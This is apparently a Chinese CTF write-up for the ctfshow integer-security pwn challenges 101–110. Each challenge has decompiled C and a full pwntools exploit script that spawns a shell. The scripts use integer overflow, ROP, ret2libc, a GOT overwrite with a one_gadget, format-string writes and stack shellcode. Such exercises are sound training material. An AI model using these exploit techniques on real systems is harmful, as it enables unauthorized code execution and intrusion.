pwn101
题目描述
先学点东西吧
c
int __fastcall main(int argc, const char **argv, const char **envp){ unsigned int v4; // [rsp+0h] [rbp-10h] BYREF int v5; // [rsp+4h] [rbp-Ch] BYREF unsigned __int64 v6; // [rsp+8h] [rbp-8h] v6 = __readfsqword(0x28u); init(a1: argc, a2: argv, a3: envp); logo(); puts(s: "Maybe these help you:"); useful(); v4 = 0x80000000; v5 = 0x7FFFFFFF; printf(format: "Enter two integers: "); if ( (unsigned int)__isoc99_scanf(a1: "%d %d", &v4, &v5) == 2 ) { if ( v4 == 0x80000000 && v5 == 0x7FFFFFFF ) gift(); else printf(format: "upover = %d, downover = %d\n", v4, v5); return 0; } else { puts(s: "Error: Invalid input. Please enter two integers."); return 1; }}一个是有符号,一个是无符号,脚本如下
python
#! /usr/bin/env python3from pwn import *context.arch = 'amd64'context.os = 'linux'elf = ELF('./pwn')p = remote('pwn.challenge.ctf.show',28228)p.recvuntil(b'Enter two integers: ')v4 = 0x80000000v5 = 0x7FFFFFFFv4 = u32(p32(v4),signed=True)payload = str(v4).encode() + b' ' + str(v5).encode()p.sendline(payload)p.interactive()pwn102
题目描述
还是简单的知识
c
int __fastcall main(int argc, const char **argv, const char **envp){ int v4; // [rsp+4h] [rbp-Ch] BYREF unsigned __int64 v5; // [rsp+8h] [rbp-8h] v5 = __readfsqword(0x28u); init(a1: argc, a2: argv, a3: envp); logo(); puts(s: "Maybe these help you:"); useful(); v4 = 0; printf(format: "Enter an unsigned integer: "); __isoc99_scanf(a1: "%u", &v4); if ( v4 == -1 ) gift(); else printf(format: "Number = %u\n", v4); return 0;}脚本如下
python
#! /usr/bin/env python3from pwn import *context.arch = 'amd64'context.os = 'linux'elf = ELF('./pwn')p = remote('pwn.challenge.ctf.show',28295)p.recvuntil(b'Enter an unsigned integer: ')v4 = -1v4 = u32(p32(v4,signed=True))payload = str(v4).encode()p.sendline(payload)p.interactive()pwn103
题目描述
看着好像还是不难
c
unsigned __int64 ctfshow(){ int v1; // [rsp+4h] [rbp-6Ch] BYREF void *src; // [rsp+8h] [rbp-68h] _BYTE dest[88]; // [rsp+10h] [rbp-60h] BYREF unsigned __int64 v4; // [rsp+68h] [rbp-8h] v4 = __readfsqword(0x28u); v1 = 0; src = nullptr; printf(format: "Enter the length of data (up to 80): "); __isoc99_scanf(a1: "%d", &v1); if ( v1 <= 80 ) { printf(format: "Enter the data: "); __isoc99_scanf(a1: " %[^\n]", dest); memcpy(dest, src, n: v1); if ( (unsigned __int64)dest > 0x1BF52 ) gift(); } else { puts(s: "Invalid input! No cookie for you!"); } return __readfsqword(0x28u) ^ v4;}python
#! /usr/bin/env python3from pwn import *context.arch = 'amd64'context.os = 'linux'elf = ELF('./pwn')p = remote('pwn.challenge.ctf.show',28119)p.recvuntil(b'Enter the length of data (up to 80): ')p.sendline(b'0')p.recvuntil(b'Enter the data: ')p.sendline(b'1')p.interactive()pwn104
题目描述
有什么是可控的?
c
ssize_t ctfshow(){ _BYTE buf[10]; // [rsp+2h] [rbp-Eh] BYREF size_t nbytes; // [rsp+Ch] [rbp-4h] BYREF LODWORD(nbytes) = 0; puts(s: "How long are you?"); __isoc99_scanf(a1: "%d", &nbytes); puts(s: "Who are you?"); return read(fd: 0, buf, (unsigned int)nbytes);}整数溢出,有后门函数
python
#! /usr/bin/env python3from pwn import *context.arch = 'amd64'context.os = 'linux'elf = ELF('./pwn')p = remote('pwn.challenge.ctf.show',28108)p.recvuntil(b'How long are you?\n')p.sendline(b'-1')p.recvuntil(b'Who are you?\n')payload = b'a' * 0xe + p64(0) + p64(0x400791)p.sendline(payload)p.interactive()pwn105
题目描述
看着好像没啥问题
c
int __cdecl main(int argc, const char **argv, const char **envp){ _DWORD buf[258]; // [esp+0h] [ebp-408h] BYREF buf[256] = &argc; init(); logo(); puts(s: "[+] Check your permissions:"); read(fd: 0, buf, nbytes: 0x400u); ctfshow(s: (char *)buf); puts(s: "wtf"); return 0;}char *__cdecl ctfshow(char *s){ char dest[8]; // [esp+7h] [ebp-11h] BYREF unsigned __int8 v3; // [esp+Fh] [ebp-9h] v3 = strlen(s); if ( v3 <= 3u || v3 > 8u ) { puts(s: "Authentication failed!"); exit(status: -1); } printf(format: "Authentication successful, Hello %s", s); return strcpy(dest, src: s);}python
#! /usr/bin/env python3from pwn import *context.arch = 'i386'context.os = 'linux'elf = ELF('./pwn')p = remote('pwn.challenge.ctf.show',28209)t_len = 260p.recvuntil(b'[+] Check your permissions:\n')payload = b'a' * 0x15 + p32(0x804870E)payload = payload.ljust(t_len, b'a')p.sendline(payload)p.interactive()v3 是 int8 那么实际大小就是 0~256 ,多的会被截断
pwn106
题目描述
还是非常简单
c
int __cdecl main(int argc, const char **argv, const char **envp){ int v4; // [esp-14h] [ebp-20h] int v5; // [esp-10h] [ebp-1Ch] int v6; // [esp+0h] [ebp-Ch] BYREF int *p_argc; // [esp+4h] [ebp-8h] p_argc = &argc; init(); logo(); puts(s: "1.login"); puts(s: "2.quit"); printf(format: "Your choice:"); __isoc99_scanf(a1: "%d", a2: &v6, a3: v4, a4: v5); if ( v6 == 1 ) { login(a1: p_argc); } else { if ( v6 == 2 ) { puts(s: "Bye~"); exit(status: 0); } puts(s: "Invalid Choice!"); } return 0;}int login(){ _BYTE s[40]; // [esp+8h] [ebp-230h] BYREF char buf[516]; // [esp+30h] [ebp-208h] BYREF memset(s, c: 0, n: sizeof(s)); memset(s: buf, c: 0, n: 0x200u); puts(s: "Please input your username:"); read(fd: 0, buf: s, nbytes: 0x19u); printf(format: "Hello %s\n", s); puts(s: "Please input your passwd:"); read(fd: 0, buf, nbytes: 0x199u); return check_passwd(s: buf);}char *__cdecl check_passwd(char *s){ char dest[11]; // [esp+4h] [ebp-14h] BYREF unsigned __int8 v3; // [esp+Fh] [ebp-9h] v3 = strlen(s); if ( v3 > 3u && v3 <= 8u ) { puts(s: "Success"); fflush(stream: stdout); return strcpy(dest, src: s); } else { puts(s: "Invalid Password"); return (char *)fflush(stream: stdout); }}还是同理
python
#! /usr/bin/env python3from pwn import *context.arch = 'i386'context.os = 'linux'elf = ELF('./pwn')p = remote('pwn.challenge.ctf.show',28228)p.recvuntil(b'Your choice:')p.sendline(b'1')p.recvuntil(b'Please input your username:\n')p.sendline(b'1')p.recvuntil(b'Please input your passwd:\n')t_len = 260payload = b'a' * 0x18 + p32(0x8048919)payload = payload.ljust(t_len, b'a')p.sendline(payload)p.interactive()pwn107
题目描述
类型转换
c
int __cdecl getch(int a1, unsigned int a2){ unsigned int v2; // eax char v4; // [esp+Bh] [ebp-Dh] unsigned int i; // [esp+Ch] [ebp-Ch] for ( i = 0; ; ++i ) { v4 = getchar(); if ( v4 == 0 || v4 == 10 || i >= a2 ) break; v2 = i; *(_BYTE *)(v2 + a1) = v4; } *(_BYTE *)(a1 + i) = 0; return a1 + i;}python
#! /usr/bin/env python3from pwn import *context.arch = 'i386'context.os = 'linux'elf = ELF('./pwn')rop = ROP(elf)getch = 0x80484E3atoi = 0x80483c0data_addr = 0x804A024add_esp_addr = 0x0804835asyscall_addr = rop.find_gadget(['int 0x80', 'ret']).address#p = remote('pwn.challenge.ctf.show', 28260)p = process('./pwn')p.recvuntil(b'How many bytes do you want me to read? ')p.sendline(b'-1')p.recvuntil(b'bytes of data!\n')payload = b'a' * 0x30payload += p32(getch)payload += p32(add_esp_addr)payload += p32(data_addr)payload += p32(0xffffffff)payload += b'BBBB'payload += p32(getch)payload += p32(add_esp_addr)payload += p32(data_addr + 8)payload += p32(0xffffffff)payload += b'BBBB'payload += p32(atoi)payload += p32(add_esp_addr)payload += p32(data_addr + 8)payload += b'BBBB'payload += p32(data_addr)payload += p32(syscall_addr)p.sendline(payload)p.sendline(b'/bin/sh')p.sendline(b'11')p.interactive()这里利用 getch 写入 bin/sh ,再用 atoi 控制 eax
bash
[*] Switching to interactive modeYou said: aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\xe3\x84\x04\x08Z\x83\x04\x08$\xa0\x04\x08\xff\xff\xff\xffBBBB\xe3\x84\x04\x08Z\x83\x04\x08,\xa0\x04\x08\xff\xff\xff\xffBBBB\xc0\x83\x04\x08Z\x83\x04\x08,\xa0\x04\x08BBBB$\xa0\x04\x08Є\x04\x08$ whoamilmx$ 但是远端是崩的,那环境可能不同,比如 ecx edx 不为 0 ,那换 ret2libc
python
#! /usr/bin/env python3from pwn import *context.arch = 'i386'context.os = 'linux'elf = ELF('./pwn')rop = ROP(elf)printf_plt = elf.plt['printf']printf_got = elf.got['printf']atoi_got = elf.got['atoi']getchar_got = elf.got['getchar']show_addr = elf.symbols['show']p = remote('pwn.challenge.ctf.show', 28260)#p = process('./pwn')p.recvuntil(b'How many bytes do you want me to read? ')p.sendline(b'-1')p.recvuntil(b'bytes of data!\n')payload = b'a' * 0x30payload += p32(printf_plt)payload += p32(show_addr)payload += p32(printf_got)p.sendline(payload)p.recvuntil(b'\n')printf_addr = u32(p.recv(4))print(f'printf address: {hex(printf_addr)}')p.recvuntil(b'How many bytes do you want me to read? ')p.sendline(b'-1')p.recvuntil(b'bytes of data!\n')payload = b'a' * 0x30payload += p32(printf_plt)payload += p32(show_addr)payload += p32(atoi_got)p.sendline(payload)p.recvuntil(b'\n')atoi_addr = u32(p.recv(4))print(f'atoi address: {hex(atoi_addr)}')p.recvuntil(b'How many bytes do you want me to read? ')p.sendline(b'-1')p.recvuntil(b'bytes of data!\n')payload = b'a' * 0x30payload += p32(printf_plt)payload += p32(show_addr)payload += p32(getchar_got)p.sendline(payload)p.recvuntil(b'\n')getchar_addr = u32(p.recv(4))print(f'getchar address: {hex(getchar_addr)}')libc_base = atoi_addr - 0x2e6f0system_addr = libc_base + 0x3cd10binsh_addr = libc_base + 0x17b8cfp.recvuntil(b'How many bytes do you want me to read? ')p.sendline(b'-1')p.recvuntil(b'bytes of data!\n')payload = b'a' * 0x30payload += p32(system_addr)payload += b'BBBB'payload += p32(binsh_addr)p.sendline(payload)p.interactive()pwn108
题目描述
学累了吧,来玩个游戏
c
__int64 __fastcall main(__int64 a1, char **a2, char **a3){ int i; // [rsp+8h] [rbp-28h] int j; // [rsp+Ch] [rbp-24h] __int64 v6; // [rsp+10h] [rbp-20h] _BYTE v7[3]; // [rsp+25h] [rbp-Bh] BYREF unsigned __int64 v8; // [rsp+28h] [rbp-8h] v8 = __readfsqword(0x28u); sub_9BA(a1, a2, a3); sub_A55(); puts(s: "Free shooting games! Three bullets available!"); printf(format: "I placed the target near: %p\n", &puts); puts(s: "shoot!shoot!"); v6 = sub_B78(); for ( i = 0; i <= 2; ++i ) { puts(s: "biang!"); read(fd: 0, buf: &v7[i], nbytes: 1u); getchar(); } if ( (unsigned int)sub_BC2(a1: v7) != 0 ) { for ( j = 0; j <= 2; ++j ) *(_BYTE *)(j + v6) = v7[j]; } if ( dlopen(file: nullptr, mode: 1) == nullptr ) exit(status: 1); puts(s: "bye~"); return 0;}__int64 sub_B78(){ char nptr[24]; // [rsp+0h] [rbp-20h] BYREF unsigned __int64 v2; // [rsp+18h] [rbp-8h] v2 = __readfsqword(0x28u); sub_AE3(a1: nptr, a2: 16); return atol(nptr);}unsigned __int64 __fastcall sub_AE3(_BYTE *a1, int a2){ int i; // [rsp+18h] [rbp-18h] unsigned __int64 v6; // [rsp+28h] [rbp-8h] v6 = __readfsqword(0x28u); for ( i = 0; i < a2; ++i ) { if ( (unsigned int)read(fd: 0, buf: a1, nbytes: 1u) == -1 ) exit(status: 1); if ( *a1 == 10 ) break; ++a1; } return __readfsqword(0x28u) ^ v6;}这道题漏洞点是,程序会读取我们输入的地址,并在后续这个地址进行 3 次写入 1 字节,那么会检查我们输入的内容
c
__int64 __fastcall sub_BC2(_BYTE *a1){ if ( (*a1 != 0xC5 || a1[1] != 0xF2) && (*a1 != 34 || a1[1] != 0xF3) && *a1 != 0x8C && a1[1] != 0xA3 ) return 1; puts(s: "You always want a Gold Finger!"); return 0;}这是用来规避常见的 one_gadget 地址,但是由于 libc 中我们的高地址是相同的,我们只需要修改低 3 字节即可,这里用到的是执行 dlopen 会调用 strlen 函数,我们修改 strlen got 表即可
python
#! /usr/bin/env python3from pwn import *libc = ELF('./glibc-2.27-3ubuntu1.5/lib/x86_64-linux-gnu/libc.so.6')context.arch = 'amd64'context.os = 'linux'elf = ELF('./pwn')p = remote('pwn.challenge.ctf.show',28106)#p = process('./pwn')p.recvuntil(b'I placed the target near: ')puts_addr = p.recvline().strip()puts_addr = int(puts_addr,16)print(hex(puts_addr))libc_base = puts_addr - libc.sym['puts']strlen_addr = libc_base + libc.got['strlen']print(hex(strlen_addr))p.recvuntil(b'shoot!shoot!\n')p.sendline(str(strlen_addr).encode())one_gadget = libc_base + 0xe54feone = p64(one_gadget)[:3]def write_one(): for b in one: p.recvuntil(b'biang!\n') p.send(bytes([b]) + b'\n')write_one()p.interactive()bash
$ cat c*ctfshow{48c50d83-cb89-42ab-8743-c056983e69d5}$ pwn109
c
int __cdecl sub_90B(int a1){ int v2; // [esp+0h] [ebp-40Ch] BYREF _DWORD buf[258]; // [esp+4h] [ebp-408h] BYREF buf[256] = &a1; sub_73B(); sub_7A2(); while ( 1 ) { while ( 1 ) { puts(s: "What you want to do?\n1) Input someing!\n2) Hang out!!\n3) Quit!!!"); __isoc99_scanf(a1: "%d", a2: &v2); getchar(); if ( v2 != 2 ) break; sub_8E4(format: (char *)buf); } if ( v2 == 3 ) break; if ( v2 == 1 ) sub_8A4(buf, nbytes: 0x400u); else printf(format: "What do you mean by %d", v2); } puts(s: "See you~"); return 0;}ssize_t __cdecl sub_8A4(void *buf, size_t nbytes){ printf(format: "%x\n", buf); return read(fd: 0, buf, nbytes);}int __cdecl sub_8E4(char *format){ return printf(format);}bash
[*] '/home/lmx/pwn/ctfshow/整数安全/109_pwn109/pwn' Arch: i386-32-little RELRO: Full RELRO Stack: No canary found NX: NX unknown - GNU_STACK missing PIE: PIE enabled Stack: Executable RWX: Has RWX segments可以看到这道题没有 NX ,那同时看见这道题是有泄露栈地址和格式化字符串漏洞的,那我们利用思路就是在栈构造 shellcode 加修改返回地址,但是这道题返回地址跟平常的 ebp + 4 不同,我们看一下汇编
asm
push ebpmov ebp, esppush ebxpush ecx可以看见栈上 push 进了 ebx ecx ebp
asm
lea esp, [ebp-8]pop ecxpop ebxpop ebplea esp, [ecx-4]那这里我们可以看见,首先将 esp 指向 ecx 之后恢复 ecx ebx ebp ,之后呢将esp 指向 ecx-4,之后 ret ,那也就是说返回地址是 ecx - 4 ,那我们将 saved ecx 改成 buf + 4 即可
python
#! /usr/bin/env python3from pwn import *context.arch = 'i386'context.os = 'linux'elf = ELF('./pwn')p = process('./pwn')p.recvuntil(b'Quit!!!\n')p.sendline(b'1')offset = 17leak = p.recv(8)buf_addr = int(leak, 16)print(hex(buf_addr))saved_ecx = buf_addr + 0x400print(hex(saved_ecx))shell_addr = buf_addr + 0x200prefix = p32(shell_addr)payload = prefix + fmtstr_payload( offset, {saved_ecx: buf_addr + 0x4}, write_size='byte', numbwritten=len(prefix),)payload = payload.ljust(0x200, b'a') + asm(shellcraft.sh())p.sendline(payload)p.recvuntil(b'Quit!!!\n')p.sendline(b'2')p.recvuntil(b'Quit!!!\n')p.sendline(b'3')p.interactive()pwn110
c
unsigned __int16 *input(){ __int16 v1; // [esp+Ah] [ebp-41Eh] BYREF char buf[1025]; // [esp+Dh] [ebp-41Bh] BYREF unsigned __int16 v3; // [esp+40Eh] [ebp-1Ah] BYREF strcpy(buf, "???"); memset(&buf[4], 0, 1021); __isoc99_scanf(a1: "%hd", a2: &v1); if ( v1 > 1024 ) { puts(s: "You are soooooooooo ******"); exit(status: 0); } v3 = v1; printf(format: "%x %u\n", buf, (unsigned __int16)v1); read(fd: 0, buf, nbytes: v3); qmemcpy(str, buf, sizeof(str)); return &v3;}有整数溢出,还泄露了栈的地址
bash
[*] '/home/lmx/pwn/ctfshow/整数安全/110_pwn110/pwn' Arch: i386-32-little RELRO: Partial RELRO Stack: No canary found NX: NX unknown - GNU_STACK missing PIE: No PIE (0x8048000) Stack: Executable RWX: Has RWX segments Stripped: NoNX 没开
python
#! /usr/bin/env python3from pwn import *context.arch = 'i386'context.os = 'linux'elf = ELF('./pwn')#p = process('./pwn')p = remote('pwn.challenge.ctf.show', 28106)p.recvuntil(b'1+1= ?')p.sendline(b'-1')p.recvline()buf = p.recv(8)buf_addr = int(buf, 16)print(hex(buf_addr))p.recvline()shellcode = asm(shellcraft.sh())payload = shellcodepayload = payload.ljust(0x41B + 4, b'\x00') + p32(buf_addr)p.sendline(payload)p.interactive()
读者回信
正在翻开留言页...